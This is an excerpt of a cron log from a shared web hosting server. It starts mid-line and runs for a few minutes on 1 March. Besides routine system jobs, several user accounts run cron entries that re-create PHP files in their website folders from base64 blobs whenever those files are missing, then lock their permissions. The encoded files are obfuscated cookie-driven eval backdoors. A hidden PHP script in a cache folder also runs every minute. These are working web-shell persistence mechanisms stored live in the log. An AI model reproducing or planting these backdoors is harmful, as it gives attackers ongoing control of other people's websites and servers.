IGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:51:01 medusa CROND[2028]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:52:01 medusa CROND[21782]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:52:01 medusa CROND[21784]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:52:01 medusa CROND[21787]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:52:01 medusa CROND[21792]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:52:01 medusa CROND[21791]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 20:52:01 medusa CROND[21795]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 20:52:01 medusa CROND[21796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:52:01 medusa CROND[21805]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:52:01 medusa CROND[21811]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:52:01 medusa CROND[21812]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:52:01 medusa CROND[21813]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:52:01 medusa CROND[21814]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:52:01 medusa CROND[21816]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:53:01 medusa CROND[9336]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:53:01 medusa CROND[9605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:53:01 medusa CROND[9606]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:53:01 medusa CROND[9607]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:53:01 medusa CROND[9604]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 20:53:01 medusa CROND[9609]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:53:01 medusa CROND[9618]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:53:01 medusa CROND[9619]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:53:01 medusa CROND[9624]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:53:01 medusa CROND[9627]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:53:01 medusa CROND[9630]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:53:01 medusa CROND[9636]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:54:01 medusa CROND[27433]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:54:01 medusa CROND[27434]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 20:54:01 medusa CROND[27435]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 20:54:01 medusa CROND[27436]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
